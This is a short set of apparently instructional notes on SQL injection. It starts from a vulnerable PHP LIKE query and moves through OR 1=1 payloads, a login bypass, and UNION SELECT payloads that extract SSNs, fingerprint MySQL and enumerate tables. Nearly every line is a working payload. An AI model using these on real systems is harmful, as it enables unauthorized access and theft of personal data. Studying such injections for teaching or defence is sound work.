$query = "SELECT FNAME, LNAME FROM EMPLOYEE WHERE LNAME LIKE '%$lname%'"; SELECT FNAME, LNAME FROM EMPLOYEE WHERE LNAME LIKE '%Smith%' SELECT FNAME, LNAME FROM EMPLOYEE WHERE LNAME LIKE '%%' OR 1=1 SELECT FNAME, LNAME FROM EMPLOYEE WHERE LNAME LIKE '%' OR 1=1%' SELECT FNAME, LNAME FROM EMPLOYEE WHERE LNAME LIKE '%' OR 1=1 -- %' Authentication depends on any result SELECT UNAME, PASSWD FROM USERS WHERE UNAME = '%uname' AND PASSWD = '%pwd' SELECT UNAME, PASSWD FROM USERS WHERE UNAME = '' AND PASSWD = '' OR 1=1 -- ' Get SSNs ' UNION SELECT LNAME, SSN FROM EMPLOYEE -- ' AND 1=0 UNION SELECT LNAME, SSN FROM EMPLOYEE -- Fit 3 fields into 2 columns ' AND 1=0 UNION SELECT concat(FNAME, ' ', LNAME), SSN FROM EMPLOYEE -- Call functions in mysql ' AND 1=0 UNION SELECT user(), null FROM EMPLOYEE -- Fingerprint DB and OS ' AND 1=0 UNION SELECT version(), database() FROM EMPLOYEE -- Get tables names ' AND 1=0 UNION SELECT table_name, null from information_schema.tables --